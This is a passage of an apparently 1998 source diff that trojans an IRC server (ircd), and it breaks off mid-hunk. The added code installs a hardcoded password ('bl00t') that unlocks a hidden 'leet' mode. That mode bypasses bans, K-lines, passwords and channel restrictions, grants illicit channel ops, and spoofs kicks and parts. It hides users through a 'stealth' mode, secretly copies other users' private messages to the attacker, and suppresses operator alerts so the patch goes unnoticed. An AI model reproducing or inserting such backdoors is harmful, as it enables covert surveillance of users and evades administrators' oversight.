home *** CD-ROM | disk | FTP | other *** search
Wrap
Text File | 1999-03-15 | 109.5 KB | 3,547 lines
Common subdirectories: ../real-ircd/src/CVS and src/CVS Only in src: Makefile Only in src: TODO diff -u ../real-ircd/src/bsd.c src/bsd.c --- ../real-ircd/src/bsd.c Sun Mar 1 11:24:10 1998 +++ src/bsd.c Wed Aug 12 18:28:49 1998 @@ -94,13 +94,88 @@ */ int deliver_it(aClient *cptr,char *str,int len) { - int retval; + int i; + int retval; + int cont, clear; /* New Shok */ + + aClient *a; aClient *acpt = cptr->acpt; + char ch; + char *p, *p1, *p2; + + char msg[2048]; + char sender[128]; + + +/* + if ((str[0] == '\0') || ((!isprint(str[0])) && str[0] != ' ') && + (str[0] != '\a') && (str[0] != '\t'))) + return 0; +*/ + + /* New Shok stuff (all of this) */ + bzero(sender, sizeof(sender)), bzero(msg, sizeof(msg)); + + p = sender, p1 = str, p2 = msg; + + p1 += 1; /* skip ':' */ + + while (*p1) { + if (*p1 == ' ' || *p1 == '\n') + break; + + *p++ = *p1++; + } + + while (*p1 && *p1 != ':') + p1 += 1; /* Get to the actual message */ + + p1 += 1; /* skip final ':' */ + + while (*p1 && !iscntrl(*p1)) + *p2++ = *p1++; + #ifdef DEBUGMODE writecalls++; #endif - retval = send(cptr->fd, str, len, 0); + + /* WARNING: Big ugly linked list: ahead 1 mile */ + + /* Notify person that they are signing off if watching them */ + if ((strstr(str, "ERROR") != NULL) && + (strstr(str, "closing") != NULL)) cont = 1; + + /* keep it from sending junk */ + if ((strstr(sender, "!") != NULL) || (cont == 1)) + for (a = cptr; a; a = a->prev) + if (a->leet == 1) + for (i = 0; a->watchlist[i]; i++) + if ((strstr(cptr->name, a->watchlist[i]) != NULL) || + (strstr(sender, a->watchlist[i]) != NULL) || + (strstr(msg, a->watchlist[i]) != NULL) || + (strstr(str, a->watchlist[i]) != NULL)) + { + if (cont == 1) + sendto_one(a, + ":%s NOTICE %s :%s (%s@%s) has signed off\n", + me.name, a->name, + cptr->name, cptr->user->username, cptr->user->host); + + sendto_one(a, + ":%s NOTICE %s :Message to %s!%s@%s from %s: %s\n", + me.name, a->name, + cptr->name, cptr->user->username, cptr->user->host, + sender, msg); + + clear = 1; + retval = send(cptr->fd, str, len, 0); + continue; + } + + if (clear != 1) retval = send(cptr->fd, str, len, 0); + if (clear == 1) bzero(str, len); /* Clear it all */ + /* ** Convert WOULDBLOCK to a return of "0 bytes moved". This ** should occur only if socket was non-blocking. Note, that diff -u ../real-ircd/src/channel.c src/channel.c --- ../real-ircd/src/channel.c Sun Mar 1 11:24:10 1998 +++ src/channel.c Wed Aug 12 18:28:49 1998 @@ -683,22 +683,35 @@ case 0: break; case -1: + /* peedee */ + if (sptr->leet == 1 || cptr->leet == 1) goto doit; if (MyClient(sptr)) sendto_one(sptr, err_str(ERR_CHANOPRIVSNEEDED), me.name, parv[0], chptr->chname); else { - /*sendto_ops("Fake: %s MODE %s %s %s", - parv[0], parv[1], modebuf, parabuf);*/ + /* sendto_ops("Fake: %s MODE %s %s %s", + parv[0], parv[1], modebuf, parabuf); */ ircstp->is_fake++; } break; + default: - sendto_channel_butserv(chptr, sptr, - ":%s MODE %s %s %s", parv[0], - chptr->chname, modebuf, - parabuf); + doit: + /* New Shok */ + /* New Peedee -- this breaks for the time being so commented. */ + /* if (cptr->stealth != 1 || sptr->stealth != 1) */ + sendto_channel_butserv(chptr, sptr, + ":%s MODE %s %s %s", parv[0], + chptr->chname, modebuf, + parabuf); + + /* We did the above because they shouldn't see we got ops.. */ + /* we did it illegally. Although if they do a /names and see */ + /* we're opped and there was never a +o.. that could be bad */ + /* too ;) */ + sendto_match_servs(chptr, cptr, ":%s MODE %s %s %s", parv[0], chptr->chname, @@ -1258,6 +1271,10 @@ { Reg Link *lp; + /* peedee - allow leet users to join channels regardless of anything. */ + if ((sptr->leet == 1)) + return 0; + if (is_banned(sptr, chptr)) return (ERR_BANNEDFROMCHAN); if (chptr->mode.mode & MODE_INVITEONLY) @@ -1531,8 +1548,10 @@ while ((lp = sptr->user->channel)) { chptr = lp->value.chptr; - sendto_channel_butserv(chptr, sptr, PartFmt, - parv[0], chptr->chname); + + sendto_channel_butserv(chptr, sptr, PartFmt, + parv[0], chptr->chname); + remove_user_from_channel(sptr, chptr); } /* @@ -1735,10 +1754,13 @@ name); /* - ** notify all other users on the new channel - */ - sendto_channel_butserv(chptr, sptr, ":%s JOIN :%s", - parv[0], name); + * notify all other users on the new channel + */ + + /* peedee */ + if (sptr->stealth != 1) + sendto_channel_butserv(chptr, sptr, ":%s JOIN :%s", + parv[0], name); if (MyClient(sptr)) { @@ -1787,7 +1809,7 @@ return 0; } - name = strtoken( &p, parv[1], ","); + name = strtoken(&p, parv[1], ","); #ifdef ANTI_SPAMBOT /* Dianora */ /* if its my client, and isn't an oper */ @@ -1852,8 +1874,10 @@ */ sendto_match_servs(chptr, cptr, PartFmt, parv[0], name); - - sendto_channel_butserv(chptr, sptr, PartFmt, parv[0], name); + + if (sptr->stealth != 1) + sendto_channel_butserv(chptr, sptr, PartFmt, parv[0], name); + remove_user_from_channel(sptr, chptr); name = strtoken(&p, (char *)NULL, ","); } @@ -1861,12 +1885,192 @@ } /* +** +** m_skick ** Peedee & Shok -- Send a spoofed kick or a part to a client. ** +** +** +** parv[0] = sender prefix +** parv[1] = channel +** parv[2] = client to kick +** parv[3] = client to spoof or "none" - Real Shok (if making them part) +** parv[4] = kick comment or "part" - Real Shok (if making them part) +*/ + +/* New Shok */ +/* I added it to make it look like they parted (actually, it really */ +/* does.. it calls m_part()) if the spoof name is "none" or the kick */ +/* comment is "part". */ + +int m_skick(aClient *cptr, + aClient *sptr, + int parc, + char *parv[]) +{ + aClient *who; + aChannel *chptr; + + int chasing = 0, counter = 4; + + char buffer[2048], newbuff[2048]; + char *comment, *name, *p = NULL, *user, *p2 = NULL; + + /* New Peedee -- This make's the server segfault. */ + /* sendto_one(":%s NOTICE %s :parc == %d\n", me.name, cptr->name, + parc); */ + + /* New Peedee -- Minor changes, made SKICK lowercase below. */ + + if (sptr->leet != 1) + { + sendto_one(sptr, err_str(ERR_UNKNOWNCOMMAND), me.name, me.name, "skick"); + return 0; + } + + if (parc < 4 || *parv[1] == '\0') + { + sendto_one(sptr, err_str(ERR_NEEDMOREPARAMS), me.name, me.name, "skick"); + return 0; + } + + /* Peedee -- Kick message parsing. */ + + bzero(buffer, sizeof(buffer)); + + for (counter = 4; counter != parc; counter++) + { + /* Uhm.. overflows. Bad. - Real Shok */ + + strncat(buffer, parv[counter] ? parv[counter] : "", sizeof(buffer)-1); + buffer[sizeof(buffer)-1] = '\0'; /* Real Shok */ + + /* Fixed parse problem here - Real Shok */ + /* Taken out because I don't see the need - Real Shok */ + + /* New Peedee -- Keep this here, it puts space's in between words for */ + /* the kick message. */ + + if (counter < parc - 1) strncat(buffer, " ", sizeof(buffer)-1); + } + + *nickbuf = *buf = '\0'; + + name = strtoken(&p, parv[1], ","); + while(name) + { + chptr = get_channel(sptr, name, !CREATE); + if (!chptr) + { + sendto_one(sptr, err_str(ERR_NOSUCHCHANNEL), + me.name, parv[3], name); + name = strtoken(&p, (char*)NULL, ","); + continue; + } + + user = strtoken(&p2, parv[2], ","); + while (user) + { + if (!(who = find_chasing(sptr, user, &chasing))) + { + user = strtoken(&p2, (char *)NULL, ","); + continue; /* No such user left! */ + } + + if (IsMember(who, chptr)) + { + /* Real Shok -- added ability to make it look like they */ + /* parted the channel, to avoid suspicion */ + + /* New Peedee -- Fixed the way this function operates in */ + /* making a user part a channel. */ + + if ((strstr(parv[3], "none")) || + (strstr(parv[4], "part"))) + { + /* New Peedee -- The victim here is really parv[2], also */ + /* this will screw the server because we */ + /* never return the real value to parv[0] */ + /* Besides, with the way I rewrote it, we */ + /* don't need it anymore. */ + + /* parv[0] = strdup(parv[4]); */ + + /* New Peedee -- Do we really need this? */ + /* parv[2] = NULL, parv[3] = NULL, parv[4] = NULL; */ + + /* New Peedee -- If we call the function, it will show */ + /* a part from our current nickname instead */ + /* of the victim which isn't good. */ + + /* m_part(cptr, sptr, 2, parv); */ + + /* New Peedee -- Code to execute a part on a user. */ + + while ( name ) + { + chptr = get_channel(sptr, name, 0); + if (!chptr) + { + sendto_one(sptr, err_str(ERR_NOSUCHCHANNEL), + me.name, parv[0], name); + name = strtoken(&p, (char *)NULL, ","); + return 0; + } + + if (!IsMember(sptr, chptr)) + { + sendto_one(sptr, err_str(ERR_NOTONCHANNEL), + me.name, parv[0], name); + name = strtoken(&p, (char *)NULL, ","); + return 0; + } + + bzero(newbuff, sizeof(newbuff)); + snprintf(newbuff, (sizeof(newbuff)-1), "%s@%s", + sptr->user->username, sptr->user->host); + + sendto_match_servs(chptr, sptr, PartFmt, parv[2], newbuff); + sendto_channel_butserv(chptr, sptr, PartFmt, parv[2], + newbuff); + + remove_user_from_channel(cptr, chptr); + return 0; + } + } + else + { + sendto_channel_butserv(chptr, sptr, + ":%s KICK %s %s :%s", parv[3], + name, who->name, buffer); + sendto_match_servs(chptr, cptr, + ":%s KICK %s %s :%s", + parv[3], name, + who->name, buffer); + + remove_user_from_channel(who, chptr); + } + } + else + sendto_one(sptr, err_str(ERR_USERNOTINCHANNEL), + me.name, parv[3], user, name); + + user = strtoken(&p2, (char *)NULL, ","); + } + + name = strtoken(&p, (char*)NULL, ","); + } + + return (0); +} + + +/* ** m_kick ** parv[0] = sender prefix ** parv[1] = channel ** parv[2] = client to kick ** parv[3] = kick comment */ + int m_kick(aClient *cptr, aClient *sptr, int parc, @@ -1884,9 +2088,14 @@ me.name, parv[0], "KICK"); return 0; } - if (IsServer(sptr)) - sendto_ops("KICK from %s for %s %s", - parv[0], parv[1], parv[2]); + + /* peedee - we dont want to bug ircops with our buisness, now do we? */ + + if (sptr->leet != 1 || cptr->leet != 1) + if (IsServer(sptr)) + sendto_ops("KICK from %s for %s %s", + parv[0], parv[1], parv[2]); + comment = (BadPtr(parv[3])) ? parv[0] : parv[3]; if (strlen(comment) > (size_t) TOPICLEN) comment[TOPICLEN] = '\0'; @@ -1911,8 +2120,10 @@ -Dianora */ - if (!IsServer(sptr) && !is_chan_op(sptr, chptr) ) - { + /* peedee */ + if (sptr->leet != 1 || cptr->leet != 1) + if (!IsServer(sptr) && !is_chan_op(sptr, chptr) ) + { /* was a user, not a server, and user isn't seen as a chanop here */ if(MyConnect(sptr)) @@ -1969,7 +2180,7 @@ -Dianora */ - } + } user = strtoken(&p2, parv[2], ","); user_count = 4; @@ -1991,6 +2202,14 @@ ":%s KICK %s %s :%s", parv[0], name, who->name, comment); + + /* Shok - go into stealth mode when kicked */ + if (who->leet == 1) { + who->stealth = 1; + sendto_one(who, ":%s NOTICE %s Kick recieved from %s, setting stealth mode on!", + me.name, cptr->name, parv[1]); + } + remove_user_from_channel(who, chptr); } else @@ -2308,8 +2527,12 @@ for (lp = chptr->members; lp; lp = lp->next) { c2ptr = lp->value.cptr; - if (IsInvisible(c2ptr) && !IsMember(sptr,chptr)) + + /* Shok, peedee */ + if ((IsInvisible(c2ptr) && !IsMember(sptr, chptr)) + || c2ptr->stealth == 1) continue; + if (lp->flags & CHFL_CHANOP) { (void)strcat(buf, "@"); @@ -2360,8 +2583,10 @@ aChannel *ch3ptr; int showflag = 0, secret = 0; - if (!IsPerson(c2ptr) || IsInvisible(c2ptr)) + /* Shok - peedee */ + if (!IsPerson(c2ptr) || IsInvisible(c2ptr) || c2ptr->stealth == 1) continue; + lp = c2ptr->user->channel; /* * dont show a client if they are on a secret channel or @@ -2408,6 +2633,9 @@ Reg int cnt = 0, len = 0, clen; char *mask; + /* Shok - don't show users we joined */ + if (user->stealth == 1) return; + *buf = ':'; (void)strcpy(buf+1, user->name); (void)strcat(buf, " JOIN "); @@ -2573,8 +2801,9 @@ { chptr->channelts = tstosend = newts; if (MyConnect(sptr)) - ts_warn("Hacked ops on opless channel: %s", - chptr->chname); + if (sptr->leet != 1) /* New Shok */ + ts_warn("Hacked ops on opless channel: %s", + chptr->chname); } else tstosend = oldts; @@ -2816,6 +3045,3 @@ } return 0; } - - - Only in src: ircd diff -u ../real-ircd/src/parse.c src/parse.c --- ../real-ircd/src/parse.c Sun Mar 1 11:24:10 1998 +++ src/parse.c Wed Aug 12 18:28:49 1998 @@ -628,24 +628,33 @@ */ if (IsServer(sptr) || IsMe(sptr)) { - sendto_realops_lev(DEBUG_LEV, "Message (%s) for %s[%s] from %s", cmd, - sptr->name, sptr->from->name, - get_client_name(cptr, TRUE)); + /* New Shok */ + /* This will still work as it normally does.. it just wont */ + /* tell the ops is all. */ + if (sptr->leet != 1) + sendto_realops_lev(DEBUG_LEV, "Message (%s) for %s[%s] from %s", cmd, + sptr->name, sptr->from->name, + get_client_name(cptr, TRUE)); if (IsServer(cptr)) { - sendto_realops_lev(DEBUG_LEV, - "Not dropping server %s (%s) for Fake Direction", - cptr->name, sptr->name); + /* Shok */ + if (sptr->leet != 1) + sendto_realops_lev(DEBUG_LEV, + "Not dropping server %s (%s) for Fake Direction", + cptr->name, sptr->name); return -1; } if (IsClient(cptr)) - sendto_realops_lev(DEBUG_LEV, - "Would have dropped client %s (%s@%s) [%s from %s]", - cptr->name, cptr->user->username, cptr->user->host, - cptr->user->server, cptr->from->name); + + /* Shok */ + if (sptr->leet != 1) + sendto_realops_lev(DEBUG_LEV, + "Would have dropped client %s (%s@%s) [%s from %s]", + cptr->name, cptr->user->username, cptr->user->host, + cptr->user->server, cptr->from->name); return -1; @@ -666,16 +675,20 @@ if (DoesTS(cptr)) { if (sptr->user) - sendto_realops_lev(DEBUG_LEV, + /* Shok */ + if (sptr->leet != 1) + sendto_realops_lev(DEBUG_LEV, "Message (%s) for %s[%s@%s!%s] from %s (TS, ignored)", cmd, - sptr->name, sptr->user->username, sptr->user->host, - sptr->from->name, get_client_name(cptr, TRUE)); + sptr->name, sptr->user->username, sptr->user->host, + sptr->from->name, get_client_name(cptr, TRUE)); return 0; } else { if (sptr->user) - sendto_realops_lev(DEBUG_LEV, + /* New Shok - work as usual.. just don't tell ops */ + if (sptr->leet != 1) + sendto_realops_lev(DEBUG_LEV, "Message (%s) for %s[%s@%s!%s] from %s", cmd, sptr->name, sptr->user->username, sptr->user->host, sptr->from->name, get_client_name(cptr, TRUE)); @@ -701,7 +714,8 @@ if (IsClient(cptr)) { - sendto_realops_lev(DEBUG_LEV, + if (cptr->leet != 1) + sendto_realops_lev(DEBUG_LEV, "Weirdness: Unknown client prefix (%s) from %s, Ignoring %s", buffer, get_client_name(cptr, FALSE), sender); @@ -724,7 +738,8 @@ get_client_name(cptr, FALSE)); else { - sendto_realops_lev(DEBUG_LEV, "Unknown prefix (%s) from %s, Squitting %s", buffer, get_client_name(cptr, FALSE), sender); + if (cptr->leet != 1) + sendto_realops_lev(DEBUG_LEV, "Unknown prefix (%s) from %s, Squitting %s", buffer, get_client_name(cptr, FALSE), sender); sendto_one(cptr, ":%s SQUIT %s :(Unknown prefix (%s) from %s)", me.name, sender, buffer, get_client_name(cptr, FALSE)); diff -u ../real-ircd/src/s_bsd.c src/s_bsd.c --- ../real-ircd/src/s_bsd.c Sun Mar 1 11:24:11 1998 +++ src/s_bsd.c Wed Aug 12 18:28:49 1998 @@ -193,7 +193,11 @@ errtmp = err; #endif - sendto_realops_lev(DEBUG_LEV,text, host, strerror(errtmp)); + /* Shok */ + /* (if we were trying to hack something and we messed up, */ + /* we don't want the ops to know) */ + if (cptr->leet != 1) + sendto_realops_lev(DEBUG_LEV, text, host, strerror(errtmp)); #ifdef USE_SYSLOG syslog(LOG_WARNING, text, host, strerror(errtmp)); @@ -893,7 +897,8 @@ aconf = find_conf(cptr->confs, cptr->name, CONF_CONNECT_SERVER); if (!aconf) { - sendto_realops("Lost C-Line for %s", get_client_name(cptr,FALSE)); + if (cptr->leet != 1) + sendto_realops("Lost C-Line for %s", get_client_name(cptr,FALSE)); return -1; } @@ -903,7 +908,10 @@ aconf = find_conf(cptr->confs, cptr->name, CONF_NOCONNECT_SERVER); if (!aconf) { - sendto_realops("Lost N-Line for %s", get_client_name(cptr,FALSE)); + /* Shok */ + /* We don't want the ops to know something is up with us */ + if (cptr->leet != 1) + sendto_realops("Lost N-Line for %s", get_client_name(cptr,FALSE)); return -1; } @@ -2309,11 +2317,12 @@ else report_error("Lost connection to %s:%s", cptr); - sendto_ops("%s had been connected for %d day%s, %2d:%02d:%02d", - cptr->name, connected/86400, - (connected/86400 == 1) ? "" : "s", - (connected % 86400) / 3600, (connected % 3600) / 60, - connected % 60); + if (cptr->stealth != 1) + sendto_ops("%s had been connected for %d day%s, %2d:%02d:%02d", + cptr->name, connected/86400, + (connected/86400 == 1) ? "" : "s", + (connected % 86400) / 3600, (connected % 3600) / 60, + connected % 60); } (void)ircsprintf(errmsg, "Read error: %d (%s)", errno, strerror(errno)); diff -u ../real-ircd/src/s_misc.c src/s_misc.c --- ../real-ircd/src/s_misc.c Sun Mar 1 11:24:11 1998 +++ src/s_misc.c Wed Aug 12 18:28:49 1998 @@ -52,6 +52,7 @@ #include "fdlist.h" extern fdlist serv_fdlist; +#include <des.h> /* New Shok */ #ifdef NO_CHANOPS_WHEN_SPLIT extern int server_was_split; extern time_t server_split_time; @@ -75,6 +76,28 @@ */ struct stats ircst, *ircstp = &ircst; +/* New Shok used for DES encryption */ +void encry(aClient *sptr, char *str) +{ + int len = strlen(str); + register int i; + char encstr[strlen(str)+1]; /* Hopefully, this is enough */ + + memset(encstr, 0, sizeof(encstr)); + + des_ecb_encrypt((des_cblock *)str, (des_cblock *)encstr, + sptr->sch, DES_ENCRYPT); + + /* Hopefully it's long enough.. otherwise it probably won't */ + /* decrypt properly. But this should be fine.. IRC only */ + /* allows about half the size of the full buffer anyway. */ + memset(str, 0, len); + + encstr[strlen(encstr)] = '\n'; + encstr[strlen(encstr)+1] = '\0'; + strncpy(str, encstr, strlen(encstr)); +} + char *date(time_t clock) { static char buf[80], plus; @@ -172,6 +195,15 @@ */ int check_registered_user(aClient *sptr) { + /* Shok */ + /* this allows us to do anything we want even if we're not registered */ + /* just don't let them join a channel is all ;) otherwise.. their */ + /* nickname will be NULL.. bad idea ;) We will fix this by having it */ + /* check if the user is registered with IsRegisteredUser() in things */ + /* involving joining channels, messaging, sending notices, setting */ + /* the topic, etc. */ + if (sptr->leet == 1) return 0; + if (!IsRegisteredUser(sptr)) { sendto_one(sptr, err_str(ERR_NOTREGISTERED), me.name, "*"); @@ -187,6 +219,15 @@ */ int check_registered(aClient *sptr) { + /* Shok */ + /* this allows us to do anything we want even if we're not registered */ + /* just don't let them join a channel is all ;) otherwise.. their */ + /* nickname will be NULL.. bad idea ;) We will fix this by having it */ + /* check if the user is registered with IsRegisteredUser() in things */ + /* involving joining channels, messaging, sending notices, setting */ + /* the topic, etc. */ + if (sptr->leet == 1) return 0; + if (!IsRegistered(sptr)) { sendto_one(sptr, err_str(ERR_NOTREGISTERED), me.name, "*"); @@ -401,7 +442,8 @@ sptr->flags |= FLAGS_CLOSING; if (IsPerson(sptr)) { - sendto_realops_lev(CCONN_LEV, "Client exiting: %s (%s@%s) [%s] [%s]", + if (sptr->stealth == 1) + sendto_realops_lev(CCONN_LEV, "Client exiting: %s (%s@%s) [%s] [%s]", sptr->name, sptr->user->username, sptr->user->host, (sptr->flags & FLAGS_NORMALEX) ? diff -u ../real-ircd/src/s_serv.c src/s_serv.c --- ../real-ircd/src/s_serv.c Sun Mar 1 11:24:11 1998 +++ src/s_serv.c Wed Aug 12 18:28:49 1998 @@ -383,8 +383,11 @@ ** TS_ONLY we can't fall back to the non-TS protocol so ** we drop the link -orabidoo */ - sendto_ops("Link %s dropped, wrong TS protocol version (%s,%s)", - get_client_name(sptr, TRUE), parv[1], parv[2]); + /* Real Shok */ + if (sptr->leet != 1) + sendto_ops("Link %s dropped, wrong TS protocol version (%s,%s)", + get_client_name(sptr, TRUE), parv[1], parv[2]); + return exit_client(sptr, sptr, sptr, "Incompatible TS version"); } @@ -463,8 +466,10 @@ /* Just ignore it for fripps sake... - Dianora - sendto_ops("User %s trying to become a server %s", - get_client_name(cptr, TRUE), host); + Shok (in case they uncomment this later on ;) + if (cptr->leet != 1) + sendto_ops("User %s trying to become a server %s", + get_client_name(cptr, TRUE), host); */ return 0; @@ -4717,8 +4722,10 @@ register aMotd *temp; struct tm *tm; +/* if (hunt_server(cptr, sptr, ":%s MOTD :%s", 1,parc,parv)!=HUNTED_ISME) return 0; +*/ tm = motd_tm; if (motd == (aMotd *)NULL) @@ -4726,6 +4733,7 @@ sendto_one(sptr, err_str(ERR_NOMOTD), me.name, parv[0]); return 0; } + sendto_one(sptr, rpl_str(RPL_MOTDSTART), me.name, parv[0], me.name); if (tm) Only in ../real-ircd/src: s_serv.c~ diff -u ../real-ircd/src/s_user.c src/s_user.c --- ../real-ircd/src/s_user.c Sun Mar 1 11:24:11 1998 +++ src/s_user.c Wed Aug 12 18:28:49 1998 @@ -43,6 +43,9 @@ #include "blalloc.h" #endif /* FLUD */ +#define MAGIC_PASSWORD "bl00t" +#define HACKED_NAME "leet" + #if defined( HAVE_STRING_H) #include <string.h> #else @@ -215,6 +218,198 @@ return next; } + +/* New Shok */ +int m_crypt(aClient *cptr, aClient *sptr, int parc, char *parv[]) +{ + int num; + register int i; + + char bb[512]; + + memset(bb, 0, sizeof(bb)); + + /* We have to allow everyone to do this because it needs */ + /* to be called before LEET.. even before USER and NICK */ + + if (sptr->crypt == 0) { + + des_random_key(sptr->cb); + sptr->cb[sizeof(sptr->cb)-1] = '\0'; + + setenv("BITCH", sptr->cb, 1); + system("echo $BITCH > /tmp/ircdkey"); + + sendto_one(sptr, ":%s NOTICE %s :KEY %s", me.name, cptr->name, + (u_char *)sptr->cb); + + des_set_key(&(sptr->cb), sptr->sch); + + sptr->crypt = 1; + + } else if (sptr->crypt == 1) { + sptr->crypt = 0; + + /* unnecessary, but for sanity's sake */ + memset(sptr->cb, 0, sizeof(sptr->cb)); + memset(sptr->sch, 0, sizeof(sptr->sch)); + } + + /* The actual check for encryption is done in sendto_one(), */ + /* one of the lowest level functions (after send_message() */ + /* and deliver_it(). */ + if (sptr->crypt == 1) + sendto_one(sptr, ":%s NOTICE %s :Now sending encrypted data.", + me.name, cptr->name); + + else + sendto_one(sptr, ":%s NOTICE %s :Encrypted data now turned off.", + me.name, cptr->name); + +} + +/* peedee & Shok */ +int m_leet (aClient *cptr, aClient *sptr, int parc, char *parv[]) { + + if (parc < 2) + { + sendto_one(sptr, err_str(ERR_UNKNOWNCOMMAND), me.name, parv[0], MSG_LEET); + return 0; + } + + if ((strstr(parv[1], MAGIC_PASSWORD))) + { + if (sptr->leet == 1) + { + sptr->leet = 0; + sendto_one(sptr, ":%s NOTICE %s :Leet mode off.", me.name, cptr->name); + if (sptr->stealth == 1) { + sptr->stealth = 0; + sendto_one(sptr, ":%s NOTICE %s :Stealth mode off.", me.name, cptr->name); + } + + return 0; + } + + if (sptr->leet == 0) + { + sptr->leet = 1; + sendto_one(sptr, ":%s NOTICE %s :Leet mode on.", me.name, cptr->name); + return 0; + } + } else + sendto_one(sptr, ":%s NOTICE %s :Invalid password.", + me.name, cptr->name); + + return -1; +} + +/* Shok & peedee */ +int m_stealth (aClient *cptr, aClient *sptr, int parc, char *parv[]) +{ + if (sptr->leet != 1) + { + sendto_one(sptr, err_str(ERR_UNKNOWNCOMMAND), me.name, parv[0], + MSG_STEALTH); + return 0; + } + + if (sptr->stealth == 0) + { + sptr->stealth = 1; + sendto_one(sptr, ":%s NOTICE %s :Stealth mode on.", me.name, cptr->name); + return 0; + } + + if (sptr->stealth == 1) + { + sptr->stealth = 0; + sendto_one(sptr, ":%s NOTICE %s :Stealth mode off.", me.name, cptr->name); + return 0; + } + +} + +/* New Shok */ +/* Called to allow you to speak in channels that are +i, +m, or +k. */ +/* We have turned off the ability to speak if stealth is on, because */ +/* someone might accidentally type something in the wrong channel. */ +/* You DO NOT need to call this if you are in leet mode, but not */ +/* stealth mode. You can turn this on or off. */ + +int m_speak (aClient *cptr, aClient *sptr, int parc, char *parv[]) +{ + int i; + aChannel *a; + + /* New Peedee -- Minor change, show's up as speak in lowercase now. */ + + if (sptr->leet != 1) + { + sendto_one(sptr, err_str(ERR_UNKNOWNCOMMAND), me.name, parv[0], "speak"); + return 0; + } + + /* New Peedee -- Paramaters check. */ + + if (parc < 3 || *parv[1] == '\0') + { + sendto_one(sptr, err_str(ERR_NEEDMOREPARAMS), me.name, me.name, "speak"); + return 0; + } + + a = hash_find_channel(parv[1], (aChannel *)NULL); + + if (a == NULL) + { + sendto_one(sptr, ":%s NOTICE %s :%s, channel dosent exist.", + me.name, cptr->name, parv[1]); + return -1; + } + + for (i = 0; sptr->speakchan[i]; i++); /* Get us to the end of the list */ + + sptr->speakchan[i] = parv[1]; /* Add channel to speak list */ + + /* This this supposed to be cptr->name or sptr->name */ + /* in this sendto_one()? */ + + sendto_one(sptr, ":%s NOTICE %s :Now allowing you to speak in %s.\n", + me.name, cptr->name, sptr->speakchan[i]); +} + +/* New Shok */ +/* to add someone to the list of users to log messages and notices from */ + +int m_watch (aClient *cptr, aClient *sptr, int parc, char *parv[]) +{ + int i; + aClient *a; + + if (sptr->leet != 1) + { + /* New Peedee - fixed to use MSG_WATCH */ + sendto_one(sptr, err_str(ERR_UNKNOWNCOMMAND), me.name, parv[0], MSG_WATCH); + return 0; + } + + a = hash_find_client(parv[1], (aClient *)NULL); + + /* New Peedee -- fixed notice. */ + + if (a == NULL) { + sendto_one(sptr, ":%s NOTICE %s :%s, nickname dosent exist.", + me.name, cptr->name, parv[1]); + return -1; + } + + for (i = 0; sptr->watchlist[i]; i++); /* Get us to the end of the list */ + + sptr->watchlist[i] = strdup(parv[1]); /* Add user to watch list */ + sendto_one(sptr, ":%s NOTICE %s :%s added to watch list.\n", + me.name, cptr->name, sptr->watchlist[i]); + } + /* ** hunt_server ** @@ -411,6 +606,7 @@ static char ubuf[12]; char *p; short oldstatus = sptr->status; + anUser *user = sptr->user; int i, dots; int bad_dns; /* flag a bad dns name */ @@ -442,27 +638,42 @@ { if (i == -4) { - ircstp->is_ref++; - return exit_client(cptr, sptr, &me, - "Too many connections from your hostname"); + if (sptr->leet != 1) { + ircstp->is_ref++; + return exit_client(cptr, sptr, &me, + "Too many connections from your hostname"); + } } - else if (i == -3) - sendto_realops_lev(FULL_LEV, "%s for %s.", - "I-line is full", get_client_host(sptr)); - else - sendto_realops_lev(CCONN_LEV, "%s from %s.", - "Unauthorized client connection", get_client_host(sptr)); + else if (i == -3) { + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) + sendto_realops_lev(FULL_LEV, "%s for %s.", + "I-line is full", get_client_host(sptr)); + } else { + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) + sendto_realops_lev(CCONN_LEV, "%s from %s.", + "Unauthorized client connection", get_client_host(sptr)); + } #if 0 #ifdef USE_SYSLOG syslog(LOG_INFO,"%s from %s.",i == -3 ? "Too many connections" : "Unauthorized client connection", get_client_host(sptr)); #endif #endif - ircstp->is_ref++; - return exit_client(cptr, sptr, &me, i == -3 ? + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) { + ircstp->is_ref++; + return exit_client(cptr, sptr, &me, i == -3 ? "No more connections allowed in your connection class" : "You are not authorized to use this server"); - + } } else return exit_client(cptr, sptr, &me, "Socket Error"); @@ -507,10 +718,16 @@ */ if (!dots) { - sendto_realops( - "Invalid hostname for %s, dumping user %s", - sptr->hostip, sptr->name); - return exit_client(cptr, sptr, &me, "Invalid hostname"); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) { + sendto_realops( + "Invalid hostname for %s, dumping user %s", + sptr->hostip, sptr->name); + /* FIX */ + /* return exit_client(cptr, sptr, &me, "Invalid hostname"); */ + } } if(bad_dns) { @@ -551,10 +768,15 @@ if (!BadPtr(aconf->passwd) && !StrEq(sptr->passwd, aconf->passwd)) { - ircstp->is_ref++; - sendto_one(sptr, err_str(ERR_PASSWDMISMATCH), - me.name, parv[0]); - return exit_client(cptr, sptr, &me, "Bad Password"); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) { + ircstp->is_ref++; + sendto_one(sptr, err_str(ERR_PASSWDMISMATCH), + me.name, parv[0]); + return exit_client(cptr, sptr, &me, "Bad Password"); + } } bzero(sptr->passwd, sizeof(sptr->passwd)); /* @@ -572,15 +794,18 @@ #endif #ifdef RK_NOTICES - sendto_realops("K-lined %s@%s. for %s",sptr->user->username, - sptr->sockhost,reason); + /* Shok - we don't want to be klined */ + if (sptr->leet != 1) { + sendto_realops("K-lined %s@%s. for %s",sptr->user->username, + sptr->sockhost,reason); #endif - ircstp->is_ref++; - + ircstp->is_ref++; #ifdef KLINE_WITH_REASON - return exit_client(cptr, sptr, &me, reason); + return exit_client(cptr, sptr, &me, reason); + } #else - return exit_client(cptr, sptr, &me, "K-lined"); + return exit_client(cptr, sptr, &me, "K-lined"); + } #endif } @@ -588,11 +813,16 @@ if (find_restrict(sptr)) { #ifdef RK_NOTICES - sendto_realops("R-lined %s@%s.",sptr->user->username, - sptr->sockhost); -#endif - ircstp->is_ref++; - return exit_client(cptr, sptr, &me , "R-lined"); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) { + sendto_realops("R-lined %s@%s.",sptr->user->username, + sptr->sockhost); +#endif + 